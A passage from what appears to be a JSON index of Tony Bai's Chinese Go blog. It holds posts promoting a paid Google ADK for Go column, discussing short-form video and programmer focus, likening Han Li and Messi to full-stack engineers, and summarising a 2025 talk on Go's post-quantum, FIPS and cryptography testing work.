开发，正在从“炼丹”式的“艺术创作”，全面进入“工程化”的“工业生产”时代。\n而 ADK for Go 的核心哲学，与我们 Gopher 的信仰不谋而合，那就是——代码优先 (Code-First)。\n你的 Agent，就是你的 Go 代码： 不再有晦涩的 YAML，不再有天书般的“链”，Agent 的所有逻辑、决策、工作流，都由你亲手编写的、地地道道的 Go 代码来定义。 天生的可测试性： 你的 Agent 就是一个实现了 agent.Agent 接口的 struct。这意味着什么？你可以像测试任何 Go 代码一样，go test 走起！Mock 依赖、断言行为，所有你熟悉的工程实践，全部回归。 Git 即版本管理： Agent 的每一次进化，都是一次清晰的 git commit。Code Review、版本回滚，一切都尽在掌握。 云原生无缝集成： 它就是一个标准的 Go 模块，可以被无缝地集成到你的 Gin/gRPC 服务中，打包成一个极小的 Docker 镜像，部署到任何 K8s 集群。 这就是为什么它能霸榜 GitHub 的原因——它不是在教你如何更好地“调优 Prompt”，而是在教你如何用坚实的工程代码，去彻底终结那个不可控的“炼丹”时代。\nGoogle的adk-go，就是那座连接 Gopher 工程世界与 AI Agent 智能世界的桥梁。\n和我一起，从零开始“造”一个真正的 AI Agent 坦白说，ADK for Go 刚刚推出，市面上的教程几乎一片空白。文档虽有，但如何将其与真实的工程场景结合，如何理解其设计背后的权衡，如何避开那些必将遇到的“坑”——这些都需要有人去探索，去趟路。\n所以，我决定做这件事。\n我将以一个**“学伴”和“探索者”**的身份，推出我的全新付费微专栏：\n《Google ADK 实战：用 Go 构建可靠的AI Agent》\n在这个专栏里，我不会扮演一个无所不知的专家。相反，我会将我从零开始学习、实践、踩坑、顿悟的全过程，毫无保留地分享给你。\n我们将一起，手把手地、从一个空 main.go 文件开始，完成一次令人兴奋的创造之旅：\n第 1-2 讲：思维转变与灵魂注入 我们将彻底理解“代码优先”的哲学，拆解adk-go，了解其中的概念、架构和核心组件，并亲手定义出第一个实现了 agent.Agent 核心接口的智能体。\n第 3 讲：为 Agent 插上“手臂”： 让你的Agent能调用任何Go函数，像操作自己的手脚一样自如 我们将学会 ADK 的“魔法”函数 functiontool.New，将一个普通的 Go 函数，零成本地转化为 Agent 可用的工具。\n第 4 讲：赋予 Agent “双核记忆” 我们将深入 session（短期记忆）和 memory（长期记忆），让我们的 Agent 能够理解上下文，并记起与你的历史交互。\n第 5 讲：从“单兵”到“军团”： 构建一个懂分工、会协作的Agent团队，自动化完成复杂任务 我们将学习 workflowagents，通过编排多个专家 Agent，构建一个强大的“代码生成-审查-重构”自动化流水线。\n第 6 讲：从“原型”到“产品” 我们将为 Agent 建立科学的评估体系，并最终将其打包成 Docker 镜像，部署到通用的 Kubernetes 环境中。\n学完这个专栏，你将收获的，不仅是一个能跑起来的酷炫 AI 项目，更是一套可复用的、工程化的 AI Agent 构建方法论，以及在 AI 新浪潮中，属于我们 Gopher 的那份自信和底气。\n加入这场 Gopher 的 AI 工程化之旅 这个微专栏，是我为你，也为我自己准备的一份“AI 时代 Gopher 生存指南”。它凝聚了我对 Go 工程哲学的理解，和我对 AI Agent 未来的全部热情。\n微专栏共 6 篇深度长文，每一篇都是我亲手实践、细节满满的 step-by-step “航海日志”。\n我没有设定一个高昂的价格，而是希望与更多志同道合的 Gopher 一起探索。所以，订阅这份专栏，仅需你一杯咖啡的诚意。\n花一杯咖啡的时间，你或许能得到片刻的清醒；而用同样的价格投入到这里，我希望能为你带来一次思维的升级和技能的跃迁。\n点击这里，或扫描二维码，立即加入。\n让我们一起，用代码，构建智能。\nP.S. 如果你对 AI Agent、Go 语言或者这个微专栏有任何问题，欢迎在评论区留言，我们一起交流探讨！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/24/google-adk-go-in-action/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/google-adk-go-in-action-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/24/google-adk-go-in-action\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/24/google-adk-go-in-action\"\u003ehttps://tonybai.com/2025/11/24/google-adk-go-in-action\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e上周，我花了一个下午，仅仅是为了让一个Python写的Agent能稳定地调用我Go服务里的一个简单函数。在那一刻，看着屏幕上纠缠的gRPC、Python虚拟环境和混乱的日志，我脑海里只有一个念头：这不对劲，这绝对不是软件工程该有的样子！\u003c/p\u003e","title":"霸榜 GitHub 一周！Google 开源 ADK for Go，彻底终结 AI“炼丹”时代？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/23/short-form-videos-harm-programmers\n大家好，我是Tony Bai。\n我想请你回想一个再熟悉不过的场景：\n白天，你在成千上万行代码的丛林里艰难跋涉，与一个隐藏极深的Bug缠斗了数个小时，心力交瘁。晚上回到家，你只想“犒劳”一下疲惫的大脑，于是瘫倒在沙发或舒服的大床上，划开手机，沉浸在短视频那无穷无尽的信息流里。一个接一个的精彩片段，让你暂时忘记了白天的烦恼。\n你以为这是一种高效的放松，一次精神上的“回血”。但一个令人不安的自我观察，或许你也有同感：为什么我们越来越难以长时间专注于一段复杂的代码了？为什么刚想深入思考一个架构问题，大脑就不由自主地渴望一次短暂的“分心”？\n这仅仅是意志力下降了吗？还是我们的认知能力，真的在不知不觉中发生了改变？\n最近，一篇发表在顶级期刊《心理学通报》(Psychological Bulletin)上的系统性回顾与元分析论文——《Feeds, Feelings, and Focus: A Systematic Review and Meta-Analysis Examining the Cognitive and Mental Health Correlates of Short-Form Video Use》，为我们揭示了残酷的科学真相。这份综合了71项研究、覆盖近10万参与者的报告，清晰地指出：我们所以为的“放松”，很可能正在系统性地消耗我们写出好代码的核心能力。\n那么，这份报告到底说了什么？它又是如何科学地“实锤”短视频对我们大脑的影响的呢？下面，我们就从这份报告的核心发现开始看起。\n科学的“实锤”：短视频到底对我们的大脑做了什么？ 这篇论文用详尽的数据告诉我们，短视频的消费模式，并非无害的娱乐。\n首先，它与认知能力的下降显著相关。 论文指出，增加的短视频使用与较差的认知能力存在明确的关联（中等效应，r = -.34）。而受损最严重的领域，恰恰是我们程序员最宝贵的两种资产：\n注意力 (Attention, r = -.38) 抑制控制 (Inhibitory Control, r = -.41) 这是什么意思？让我们用程序员的语言来“翻译”一下：\n“注意力”下降，意味着我们持续跟踪复杂逻辑链条、在庞大代码库中保持上下文的能力正在变弱。你可能刚理清一个函数的调用栈，一个念头闪过就忘了自己刚才想到哪了。 “抑制控制能力”下降，意味着我们抵抗内部或外部干扰的能力正在削弱。无论是同事的一条消息，还是脑子里突然冒出的“看看新邮件”的冲动，都变得越来越难以抗拒。 这两种能力，正是我们进行深度编程、系统设计和复杂问题排查的基石！\n论文中提到的“习惯化与致敏化” (habituation and sensitization) 双重理论，通俗地解释了这一现象：我们的大脑，在反复经受短视频这种“高刺激、快反馈、强情绪”的内容轰炸后，会逐渐**“习惯”这种模式。当我们再回到编程这种需要“低刺激、慢反馈、纯逻辑”的深度工作时，大脑会表现出极度的不耐烦和渴望“切换”的冲动，因为它已经被短视频“致敏”**，期待着下一次即时的高强度刺激。\n程序员的“高危”处境：为何我们更易受其害？ 如果说短视频对普通人的影响是“温水煮青蛙”，那对程序员而言，它更像是一场针对核心技能的“精准打击”。\n工作性质的根本冲突： 程序员是典型的“深度工作 (Deep Work)” 从业者。我们的价值产出，几乎完全依赖于长时间、不间断的专注。而短视频的消费模式，则是“浅层娱乐 (Shallow Entertainment)”的极致，两者在认知模式上水火不容。 从“心流”到“心碎”： 我们梦寐以求的“心流 (Flow State)”状态，其核心就是高度的专注和对干扰的抑制。短视频的算法和产品设计，其目标恰恰是系统性地、持续地打破我们的专注，用一个又一个的新鲜刺激来捕获我们的注意力。可以说，短视频正在系统性地摧毁我们进入和维持“心流”的能力。 “伪学习”的陷阱： 很多开发者，包括我自己，有时也会通过短视频学习一些“技术小技巧”。这看似高效，但往往是碎片化的、不成体系的。这种“伪学习”带来的即时满足感，可能会取代系统性、结构化的深度学习，让我们误以为自己“学到了很多”，实则认知能力的基础正在被侵蚀。 夺回专注力：一个程序员的“数字健康”自救指南 认识到问题的严重性，并非为了制造焦虑，而是为了找到夺回主动权的路径。结合之前分享过的“状态管理”理念，我们可以尝试以下具体的“自救”策略：\n拥抱“状态管理”，而非死磕“时间管理” 承认我们的精力是有限的，不同状态适合做不同的事。将你最宝贵的“高能专注态”严格地留给编程、设计等核心任务。\n划分“数字领地”，建立清晰边界 * **创建“深度工作”场：** 在需要专注的时段，**将手机物理隔离**（放在另一个房间，或开启飞行模式）。使用番茄钟，关闭电脑上所有不必要的通知。为你的大脑创造一个“无短视频”的纯净空间。 * **设定“浅层娱乐”场：** 允许自己在“低能碎片态”（如午休后、通勤路上）适度消费短视频，但必须设立**明确的时间边界**。例如，定一个15分钟的闹钟，闹钟一响，立即停止。 主动“反向训练”你的专注力 既然大脑的专注力可以被“去训练”，那它也可以被“再训练”。\n* **刻意练习“长阅读”：** 每天或每周，强制自己进行30分钟以上不间断的、无干扰的阅读。内容可以是技术书籍、深度文章，甚至是高质量的源码。这是对抗碎片化最好的“健身”。 * **尝试正念或冥想：** 每天花5-10分钟，专注于自己的呼吸。这看似简单，却是科学证明能有效提升注意力和抑制控制能力的强大练习。 改变消费模式，化被动为主动 * **从“被动投喂”到“主动搜索”：** 有意识地减少在“推荐”页的无尽滑动。将短视频平台当作一个“视频搜索引擎”来使用，带着明确的目的去查找你想看的内容。 * **关注高质量、长内容的创作者：** 关注那些能引发你深度思考的创作者，让算法为你推荐更有价值的内容。 小结：在“快娱乐”的时代，守护“慢思考”的价值 短视频作为一种媒介，本身并无原罪。它在娱乐、信息传播甚至某些知识普及方面，都有其独特的价值。\n但作为程序员，我们必须清醒地认识到，我们赖以生存和发展的核心资产——专注力、逻辑推理能力和深度思考能力——是脆弱的，是需要被刻意守护的。\n守护它，就是守护我们的职业未来。\n希望我们都能在享受科技便利的同时，成为数字工具的“主人”，而非被算法俘虏的“奴隶”。从今天起，让我们重新审视“白天改Bug，晚上刷视频”的生活模式，为我们宝贵的大脑，留出更多“慢思考”的宝贵空间。\n资料链接：https://doi.org/10.1037/bul0000498\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/23/short-form-videos-harm-programmers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/short-form-videos-harm-programmers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/23/short-form-videos-harm-programmers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/23/short-form-videos-harm-programmers\"\u003ehttps://tonybai.com/2025/11/23/short-form-videos-harm-programmers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我想请你回想一个再熟悉不过的场景：\u003c/p\u003e\n\u003cp\u003e白天，你在成千上万行代码的丛林里艰难跋涉，与一个隐藏极深的Bug缠斗了数个小时，心力交瘁。晚上回到家，你只想“犒劳”一下疲惫的大脑，于是瘫倒在沙发或舒服的大床上，划开手机，沉浸在短视频那无穷无尽的信息流里。一个接一个的精彩片段，让你暂时忘记了白天的烦恼。\u003c/p\u003e","title":"白天改Bug，晚上刷视频：你以为在放松，其实在消耗你写出好代码的能力"},{"content":"从韩立到梅西：顶级“全栈工程师”的修炼之道与生存哲学 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n从韩立到梅西：顶级“全栈工程师”的修炼之道与生存哲学 十一月 23, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/11/23/leo-messi-and-fanren-hanli\n大家好，我是Tony Bai。\n刚刚过去的这几个月，我终于“出关”了——一口气读完了《凡人修仙传》的人界、灵界、仙界全本。那一刻，看着韩立终成道祖，我心中涌起的激荡，竟与三年前看着阿根廷夺冠、梅西捧起大力神杯时的热泪盈眶，产生了奇妙的共振。\n是的，我是一个《凡人》的读者，也是一个追随阿根廷近20年的死忠梅西球迷。\n但与此同时，我在现实世界里还有一个更冷静的身份：一名写了多年代码的程序员。\n正是这三种看似毫不相干的身份——修仙读者的热血、球迷的狂热、程序员的理性，在我的脑海中发生了一次剧烈的“化学反应”。\n当我摘下“修仙”和“足球”的滤镜，用一个资深技术人的视角去审视韩立与梅西的成长轨迹时，一个惊人的结论浮现在脑海：韩立和梅西，本质上是同一种人——他们是各自领域里，将“全栈工程能力”修炼到极致的终极样本。\n在AI技术浪潮冲击每一个程序员饭碗的今天，他们的故事，或许藏着我们打破内卷、实现职业跃迁的“底层代码”。\n拒绝“标签化”：做解决问题的“全栈”，而非某个岗位 在职场上，我们习惯给自己贴标签：“我是后端”、“我是DBA”、“我是写Go的”。但在韩立和梅西身上，标签失效了。\n韩立：修仙界的DevOps先驱 作为读完全本的读者，我深知韩立有多“杂”。你说他是法修？他却凭着梵圣真魔功的金刚之躯，能硬撼顶级妖兽。你说他是炼丹师？他布阵、制符、御虫、傀儡术样样精通。\n在韩立的字典里，没有“这不归我管”或者“我是法修，不扛伤害”。为了生存（项目上线/系统稳定）这个终极目标，他打通了从炼气（开发）、炼体（架构）、阵法（运维）到炼丹（资源管理）的全链路。他是一个人活成了一支队伍的DevOps。\n梅西：绿茵场上的全能架构师 看过梅西踢球的人都知道，你说他是前锋？他的助攻数冠绝五大联赛。你说他是中场？他的进球效率让所有射手汗颜。\n边锋、伪九号、前腰……他几乎踢过前场所有位置。他既能像底层开发一样做最精细的过人操作，又能像系统架构师一样拥有上帝视角，通过一脚传球调度全局资源。\n在AI时代，单一技能的“螺丝钉”最容易被替代。真正的“全栈”，不是会写前端和后端那么简单，而是拥有**“解决复杂问题闭环”的能力**。不要被Title限制，像韩立一样，哪里有瓶颈就去学什么，把自己打造成一个无法被轻易定义的“系统”。\n拥抱“凡人”开局：用“工程化思维”逆袭天才 更扎心的是，这两位大神，开局拿的都不是爽文剧本。\n伪灵根与侏儒症：非科班的逆袭 韩立是“四伪灵根”，修仙界的“劝退专业”；梅西年少确诊侏儒症，在对抗激烈的足球世界几乎被判“死刑”。\n他们就像我们大多数非名校毕业、非ACM金牌选手的普通程序员。没有惊天的算法天赋，没有显赫的大厂背景。\n掌天瓶：高效工具的极致利用 韩立的成功，很大程度上归功于“掌天瓶”这个外挂。但他从未依赖外挂“躺平”，而是利用它指数级地加速资源的积累（催熟灵药）。\n对于程序员来说，今天的AI大模型以及相关工具就是我们的“掌天瓶”。普通人用来偷懒，高手用来加速试错、加速学习、加速交付。\n承认我们是“凡人”，这不可耻。真正的天赋，不完全是智商，更是**“工程化思维”**——即如何在资源受限（资质平庸）的情况下，通过引入高效工具（AI）、优化流程（勤奋与策略），构建出超越天才的系统稳定性。\n“苟”的哲学：防御性编程与SRE意识 如果说全能是他们的外在，那么“苟”，则是他们立于不败之地的内核。\n韩立的“稳”：防御性编程大师 “韩跑跑”的名号响彻修仙界。他从不打无准备之仗，战前必先布阵（环境配置/容灾演练），出手前先试探（金丝雀发布），一击不中远遁千里（熔断/回滚）。\n这哪里是胆小？这是最高级别的防御性编程（Defensive Programming）。在充满Bug（危险）的修仙界，他把**系统的可用性（活着）**放在了第一位。\n梅西的“散步”：动态资源调度 梅西在场上的“散步”，常被误解。实际上，这是一种顶级的观察模式。他在用极低的功耗（体能）扫描全场，寻找防线（系统）的Bug（漏洞）。一旦发现，瞬间满频运行（冲刺），一击致命。\n这是高并发系统中的资源动态调度——平时低负载运行节省资源，关键时刻弹性扩容，精准打击。\n在内卷的环境中，学会“苟”很重要。\n不是让你摸鱼，而是学会Trade-off（权衡）。不盲目堆砌代码（瞎跑），而是在动手前先做足System Design（观察）；不追求炫技，而是追求代码的健壮性和可维护性（保命）。活得久（职业生涯长），本身就是一种巨大的胜利。\n小结 读懂了韩立和梅西，你就读懂了顶级技术人的生存之道。\n他们告诉我们：真正的强大，不是拥有一项举世无双的长板，而是通过千锤百炼，让自己没有短板。\n在这个充满不确定性的时代，我们也许无法成为梅西那样的天才，但我们可以学习韩立的**“工程化修仙”**：\n利用工具（AI/掌天瓶），放大你的努力。 保持谨慎（防御性编程），敬畏每一次上线。 持续积累（全栈能力），构建自己的技术壁垒。 无论是躲在洞府里默默催熟灵药的韩立，还是在屏幕前深夜Debug的你，技术，永远是我们立足于任何世界的硬通货。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/23/leo-messi-and-fanren-hanli/","summary":"\u003ch1 id=\"从韩立到梅西顶级全栈工程师的修炼之道与生存哲学---tony-bai\"\u003e从韩立到梅西：顶级“全栈工程师”的修炼之道与生存哲学 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"从韩立到梅西：顶级“全栈工程师”的修炼之道与生存哲学"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union\n大家好，我是Tony Bai。\n2025 年 8 月，Go 官方密码学库核心维护者、Geomys 创始人 Filippo Valsorda 在 GopherCon US 上发表了备受瞩目的年度主题演讲 —— “The Go Cryptography State of the Union“。\n这是一次年度技术汇报，也是一份关于 Go 语言如何应对未来十年安全挑战的战略蓝图。从抗量子计算的未雨绸缪，到 FIPS 合规的架构性重构，再到令人惊叹的“零漏洞”审计记录，Go 团队用行动证明了：最好的安全性，是让开发者无需感知、却时刻被守护的安全性。\n在本文中，我们将深入解读这次演讲的核心内容，从后量子加密的技术细节到纯 Go FIPS 的实现突破，带你一窥 Go 语言构建未来安全防线的全景图。\n后量子时代的第一道防线：ML-KEM 如果说量子计算是悬在现代密码学头顶的达摩克利斯之剑，那么 Go 团队已经提前为我们铸造了盾牌。\n来自https://words.filippo.io/2025-state\n为什么是现在？”Record Now, Decrypt Later” Filippo 开场便澄清了一个常见的误区：量子计算机可能还需要 5 到 50 年才能破解现有的非对称加密（如 RSA、ECDH），为什么我们现在就要着急？\n答案在于 “Record Now, Decrypt Later”（现在窃听，以后解密） 的攻击模式。攻击者（或是某些国家级力量）可以现在捕获并存储加密流量，耐心等待数十年后量子计算机问世，再解密这些数据。对于长期敏感的信息（如外交电文、个人健康数据、商业机密），现在的连接已经不再安全了。\nGo 的应对：ML-KEM 与混合加密 标准落地：Go 1.24 正式在标准库中引入了 crypto/mlkem 包，实现了 NIST 最终选定的后量子密钥交换标准 ML-KEM（即 Kyber）。 默认开启的混合保护：最令人兴奋的是，普通开发者无需修改一行代码。在 crypto/tls 中，Go 1.24+ 默认启用了 X25519 + ML-KEM-768 的混合密钥交换模式。 混合的智慧：密码学界对新算法总是保持谨慎。ML-KEM 虽然基于格密码学（Lattices），但仍可能隐藏着未知的数学缺陷。Go 团队采用了“双保险”策略：将经典的 X25519 椭圆曲线算法与 ML-KEM 结合，将两者的结果进行哈希组合。 安全性：除非攻击者同时拥有量子计算机（破解 X25519）和破解 ML-KEM 数学结构的天才数学家，否则你的连接坚不可摧。 来自https://words.filippo.io/2025-state\n为什么不急于“后量子签名”？ 与密钥交换不同，Filippo 解释了为什么后量子数字签名的推进更加缓慢。因为伪造签名需要实时进行，无法通过“现在记录，以后攻击”来实现，因此紧迫性较低。更重要的是，后量子签名的大小通常高达数 KB（相比现在的几百字节），这对网络协议设计带来了巨大的挑战，需要更多时间来演进。\nFIPS 140-3：一场“纯 Go”的合规革命 对于服务政府、金融或受监管行业的企业来说，FIPS 140 合规认证往往是强制性的。长期以来，Go 社区只能依赖 Go+BoringCrypto —— 一个基于 CGO 调用 Google 内部 C 语言库 BoringSSL 的方案。\n来自https://words.filippo.io/2025-state 这不仅破坏了 Go 引以为傲的“静态编译、无依赖”特性，还引入了 C 代码的内存安全风险。Filippo 甚至透露，Trail of Bits 审计中发现的唯一一个真正漏洞，正是出在 Go+BoringCrypto 中。\nGo 1.24+ 的破局：原生 Go 模块 Go 团队做出了一个大胆的决定：用纯 Go 重新实现 FIPS 模块。\n原生与透明：新的 FIPS 模块位于 crypto/internal/fips140/…。对于用户来说，它只是标准库的一部分。当开启 FIPS 模式时，标准库会自动路由到这些经过认证的代码路径，而 API 保持完全一致。 全平台制霸：得益于纯 Go 的跨平台特性，FIPS 支持不再局限于特定的 Linux 发行版。Filippo 自豪地展示了他在自家客厅搭建的测试实验室——从高端的 Ampere Altra ARM64 服务器，到女友的 Windows 笔记本，甚至是作为路由器的 EdgeRouter (MIPS/ARM)，全部通过了 FIPS 测试。 无需 CGO：这是最大的胜利。开发者终于可以既拥有 FIPS 合规性，又享受 Go 原生的交叉编译和内存安全。 来自https://words.filippo.io/2025-state\n安全记录：用测试堆出来的“零漏洞” Go 密码学库最令人骄傲的或许不是新特性，而是其惊人的安全记录。\n来自https://words.filippo.io/2025-state\n惊人的成绩单 零高危漏洞：自 2019 年以来，Go 密码学库未发生过任何严重（Ouch 级别）的安全漏洞。 零 Go 专属漏洞：自 2021 年以来，甚至没有出现过 Go 实现特有的中等严重漏洞（Oof 级别）。所有出现的漏洞几乎都是协议本身的设计缺陷。 审计背书：2025 年初，著名安全公司 Trail of Bits 对 Go 密码学库的基础设施进行了全面审计。结果令人欣慰：他们没有发现任何安全漏洞。 幕后功臣：疯狂的测试 这种安全记录不是运气，而是工程化的结果：\n累积测试向量 (Accumulated Test Vectors)：如何测试一个算法在 0 到 200 字节长度的所有组合？这会产生数百万个测试用例。Go 团队使用了一种名为 “Accumulated” 的技巧：将算法在所有输入下的输出进行滚动哈希 (Rolling Hash)，最后只比对这一个哈希值。这使得在 CI 中运行海量测试成为可能。 汇编变异测试 (Assembly Mutation Testing)：密码学底层大量使用汇编。为了测试难以覆盖的分支（例如进位标志的处理），团队开发了一套工具，自动**“变异”汇编代码。例如，将一个“带进位加法”指令强制替换为“普通加法”。如果测试套件在汇编代码被故意破坏后依然通过，说明测试覆盖不足**。这种反向验证直接消灭了潜在的盲区。 来自https://words.filippo.io/2025-state\n细节中的魔鬼：更安全、更快的底层 除了大方向的演进，无数细节的优化构成了 Go 安全的基石。Filippo 分享了几个令人印象深刻的案例：\nRSA 的重生：crypto/rsa 包经历了彻底的重构。它不再使用通用的、性能较慢且难以防御侧信道攻击的 math/big 库，而是采用了全新的、常数时间 (Constant-time) 的底层实现。这不仅提升了性能，更从数学层面杜绝了计时攻击。同时，Go 果断移除了对小于 1024 位 RSA 密钥的支持，强制推动行业向更安全的标准迁移。 AES-CTR 性能飞跃：通过一位社区成员 (Boris Nagaev) 的贡献，AES-CTR 模式的性能提升了 2 到 9 倍。 永不失败的随机数：crypto/rand.Read 现在的承诺是 “Never Fails”。 在 Linux 上，它利用 vDSO 技术直接调用内核，大幅提升了获取随机数的性能。 为了确保承诺，团队甚至重新编写了 seccomp 库，专门用来在测试中模拟 getrandom 系统调用失败的极端场景，确保回退逻辑（fallback）绝对可靠。 小结：不仅要做得好，还要让开发者用得轻松 Filippo Valsorda 的演讲向我们展示了 Go 语言在安全领域的宏大愿景：安全不应是开发者的负担，而应是语言赋予的基础设施。\n无论是默认开启的后量子保护，还是透明、无感的 FIPS 合规，Go 团队都在践行一种极致的工程哲学——把复杂性留给自己，把简单留给用户。 他们不满足于仅仅提供“能用”的加密算法，而是致力于通过持续的测试、审计和架构演进，为整个生态系统构筑一道坚不可摧、且能抵御未来威胁的防线。\n随着 Go 1.24 及后续版本的发布，每一位 Gopher 手中的工具箱，都已在不知不觉中完成了升级。当我们轻松地编写代码时，Go 的密码学库正在底层默默地为我们抵挡着来自现在和未来的风暴。\n参考资料 Filippo Valsorda: The 2025 Go Cryptography State of the Union Youtube Video: GopherCon 2025 – The Go Cryptography State of the Union Go 1.24 Release Notes Accumulated Test Vectors Assembly Mutation Testing 还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-2025-go-cryptography-state-of-the-union-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union\"\u003ehttps://tonybai.com/2025/11/22/the-2025-go-cryptography-state-of-the-union\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2025 年 8 月，Go 官方密码学库核心维护者、Geomys 创始人 \u003cstrong\u003eFilippo Valsorda\u003c/strong\u003e 在 GopherCon US 上发表了备受瞩目的年度主题演讲 —— \u003ca href=\"https://www.youtube.com/watch?v=YnyeAQblUyA\"\u003e“The Go Cryptography State of the Union\u003c/a\u003e“。\u003c/p\u003e","title":"Go 